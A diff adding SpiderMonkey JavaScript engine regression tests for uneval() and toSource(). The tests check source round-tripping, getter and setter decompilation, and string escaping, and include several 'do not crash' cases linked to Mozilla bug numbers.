--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-01.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ function f() { }
+ f.__proto__ = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-02.js b/js/src/tests/non262/extensions/uneval/regress-358594-02.js
new file mode 100644
index 0000000000..897d739579
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-02.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+function f() { }
+f.__proto__ = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-03.js b/js/src/tests/non262/extensions/uneval/regress-358594-03.js
new file mode 100644
index 0000000000..55f4fb250d
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-03.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ f = function () { };
+ f.__proto__ = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-04.js b/js/src/tests/non262/extensions/uneval/regress-358594-04.js
new file mode 100644
index 0000000000..01d1fe3e03
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-04.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+f = function () { };
+f.__proto__ = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-05.js b/js/src/tests/non262/extensions/uneval/regress-358594-05.js
new file mode 100644
index 0000000000..aa2ae6e925
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-05.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ f = function () { };
+ f.hhhhhhhhh = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-06.js b/js/src/tests/non262/extensions/uneval/regress-358594-06.js
new file mode 100644
index 0000000000..2a83057eda
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-06.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+f = function () { };
+f.hhhhhhhhh = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-367629.js b/js/src/tests/non262/extensions/uneval/regress-367629.js
new file mode 100644
index 0000000000..9d7a999a22
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-367629.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367629;
+var summary = 'Decompilation of result with native function as getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a =
+ Object.defineProperty({}, "h",
+ {
+ get: encodeURI,
+ enumerable: true,
+ configurable: true
+ });
+
+ expect = '({get h() {[native code]}})';
+ actual = uneval(a);
+
+ // Native function syntax:
+ // `function IdentifierName_opt ( FormalParameters ) { [ native code ] }`
+
+ // The placement of whitespace characters in the native function's body is
+ // implementation-dependent, so we need to replace those for this test.
+ var re = new RegExp(["\\{", "\\[", "native", "code", "\\]", "\\}"].join("\\s*"));
+ actual = actual.replace(re, "{[native code]}");
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-375801.js b/js/src/tests/non262/extensions/uneval/regress-375801.js
new file mode 100644
index 0000000000..6f345bf8fa
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-375801.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375801;
+var summary = 'uneval should use "(void 0)" instead of "undefined"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({a:(void 0)})'
+ actual = uneval({a: undefined})
+ compareSource(expect, actual, summary + ': uneval');
+
+ expect = 'function() {({a: undefined});}';
+ actual = (function() {({a: undefined});}).toString();
+ compareSource(expect, actual, summary + ': toString');
+
+ expect = '(function () {({a: undefined});})';
+ actual = (function () {({a: undefined});}).toSource();
+ compareSource(expect, actual, summary + ': toSource');
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-380581.js b/js/src/tests/non262/extensions/uneval/regress-380581.js
new file mode 100644
index 0000000000..5420b3fe17
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-380581.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 380581;
+var summary = 'Incorrect uneval with setter in object literal';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '(function() { })';
+ actual = uneval(eval("(function() { })"));
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-380933.js b/js/src/tests/non262/extensions/uneval/regress-380933.js
new file mode 100644
index 0000000000..8033f886e7
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-380933.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 380933;
+var summary = 'Do not assert with uneval object with setter with modified proto';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var f = (function(){});
+var y =
+ Object.defineProperty({}, "p",
+ {
+ get: f,
+ enumerable: true,
+ configurable: true
+ });
+f.__proto__ = [];
+uneval(y);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
+
diff --git a/js/src/tests/non262/extensions/uneval/regress-381211.js b/js/src/tests/non262/extensions/uneval/regress-381211.js
new file mode 100644
index 0000000000..3ac4282e1c
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-381211.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381211;
+var summary = 'uneval with getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({get x(){}})';
+ actual = uneval({get x(){}});
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-381301.js b/js/src/tests/non262/extensions/uneval/regress-381301.js
new file mode 100644
index 0000000000..be8495e662
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-381301.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381301;
+var summary = 'uneval of object with native-function getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o =
+ Object.defineProperty({}, "x", { get: decodeURI, enumerable: true, configurable: true });
+ expect = '({get x() {[native code]}})';
+ actual = uneval(o);
+
+ // Native function syntax:
+ // `function IdentifierName_opt ( FormalParameters ) { [ native code ] }`
+
+ // The placement of whitespace characters in the native function's body is
+ // implementation-dependent, so we need to replace those for this test.
+ var re = new RegExp(["\\{", "\\[", "native", "code", "\\]", "\\}"].join("\\s*"));
+ actual = actual.replace(re, "{[native code]}");
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-385393-03.js b/js/src/tests/non262/extensions/uneval/regress-385393-03.js
new file mode 100644
index 0000000000..2f11b25ecf
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-385393-03.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ f = (function() { new (delete y) });
+ eval(uneval(f))
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-385729.js b/js/src/tests/non262/extensions/uneval/regress-385729.js
new file mode 100644
index 0000000000..5f650e6082
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-385729.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385729;
+var summary = 'uneval(eval(expression closure))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+function normalizeSource(source) {
+ source = String(source);
+ source = source.replace(/([(){},.:\[\]])/mg, ' $1 ');
+ source = source.replace(/\s+/mg, ' ');
+
+ return source;
+}
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '(function f () /x/g)';
+ try
+ {
+ // mozilla 1.9
+ actual = uneval(eval(expect));
+ }
+ catch(ex)
+ {
+ // mozilla 1.8
+ expect = 'SyntaxError: missing { before function body';
+ actual = ex + '';
+ }
+ compareSource(normalizeSource(expect), normalizeSource(actual), summary);
+
+ expect = '({get f () /x/g})';
+ try
+ {
+ // mozilla 1.9
+ actual = uneval(eval("({get f () /x/g})"));
+ }
+ catch(ex)
+ {
+ // mozilla 1.8
+ expect = 'SyntaxError: missing { before function body';
+ actual = ex + '';
+ }
+ compareSource(normalizeSource(expect), normalizeSource(actual), summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-452498-082.js b/js/src/tests/non262/extensions/uneval/regress-452498-082.js
new file mode 100644
index 0000000000..8fee44d2a1
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-452498-082.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #82 From Gary Kwong [:nth10sd]
+
+// =====
+
+ uneval(function(){[y] = [x];});
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-452498-101.js b/js/src/tests/non262/extensions/uneval/regress-452498-101.js
new file mode 100644
index 0000000000..c660ab9b80
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-452498-101.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #101 From Gary Kwong [:nth10sd]
+
+ uneval(function(){with({functional: []}){x5, y = this;const y = undefined }});
+// Assertion failure: strcmp(rval, with_cookie) == 0, at ../jsopcode.cpp:2567
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-452498-117.js b/js/src/tests/non262/extensions/uneval/regress-452498-117.js
new file mode 100644
index 0000000000..c2b5135790
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-452498-117.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #117 From Gary Kwong [:nth10sd]
+
+// The following all do not require -j.
+
+// Assertion failure: pnu->pn_lexdef == dn, at ../jsemit.cpp:1817
+// =====
+ uneval(function(){arguments = ({ get y(){} }); for(var [arguments] in y ) (x);});
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-621814.js b/js/src/tests/non262/extensions/uneval/regress-621814.js
new file mode 100644
index 0000000000..7e661d97a8
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-621814.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'pass';
+var actual = expect;
+function f({"\xF51F": x}) {}
+try {
+ eval(uneval(f));
+} catch (e) {
+ actual = '' + e;
+}
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/non262/extensions/uneval/regress-624199.js b/js/src/tests/non262/extensions/uneval/regress-624199.js
new file mode 100644
index 0000000000..2634600f12
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-624199.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+function roundTrip(f) {
+ try {
+ eval(uneval(f));
+ return true;
+ } catch (e) {
+ return '' + e;
+ }
+}
+
+function f() { if (true) { 'use strict'; } var eval; }
+assertEq(roundTrip(f), true);
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/extensions/uneval/regress-90596-002.js b/js/src/tests/non262/extensions/uneval/regress-90596-002.js
new file mode 100644
index 0000000000..ae66ea7142
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-90596-002.js
@@ -0,0 +1,264 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in uneval().
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * Sorting properties alphabetically is done for definiteness in comparisons.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = 'A [DontEnum] prop, if overridden, should appear in uneval()';
+var cnCOMMA = ',';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var cnLPAREN = '(';
+var cnRPAREN = ')';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = uneval(obj);
+expect = '({toString:9})';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = uneval(obj);
+expect = '({toString:9})';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({toString:9})';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({hasOwnProperty:"Hi"})';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Sort properties alphabetically -
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes string of form '({"c", "b", "a", 2})' and returns '({"a","b","c",2})'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripParens(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ ret = addParens(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off parens at beginning and end of text -
+ */
+function stripParens(text)
+{
+ // remember to escape the parens...
+ var arr = text.match(/^\((.*)\)$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+function addParens(text)
+{
+ return cnLPAREN + text + cnRPAREN;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-96284-002.js b/js/src/tests/non262/extensions/uneval/regress-96284-002.js
new file mode 100644
index 0000000000..f49b670aff
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-96284-002.js
@@ -0,0 +1,147 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 September 2001
+ *
+ * SUMMARY: Double quotes should be escaped in uneval(new Error('""'))
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96284
+ *
+ * The real point here is this: we should be able to reconstruct an object
+ * obj from uneval(obj). We'll test this on various types of objects.
+ *
+ * Method: define obj2 = eval(uneval(obj1)) and verify that
+ * obj2.toSource() == obj1.toSource().
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96284;
+var summary = 'Double quotes should be escaped in Error.prototype.toSource()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj1 = {};
+var obj2 = {};
+var cnTestString = '"This is a \" STUPID \" test string!!!"\\';
+
+
+// various NativeError objects -
+status = inSection(1);
+obj1 = Error(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(2);
+obj1 = EvalError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(3);
+obj1 = RangeError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(4);
+obj1 = ReferenceError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(5);
+obj1 = SyntaxError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(6);
+obj1 = TypeError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(7);
+obj1 = URIError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+// other types of objects -
+status = inSection(8);
+obj1 = new String(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(9);
+obj1 = {color:'red', texture:cnTestString, hasOwnProperty:42};
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(10);
+obj1 = function(x) {function g(y){return y+1;} return g(x);};
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(11);
+obj1 = new Number(eval('6'));
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(12);
+obj1 = /ad;(lf)kj(2309\/\/)\/\//;
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
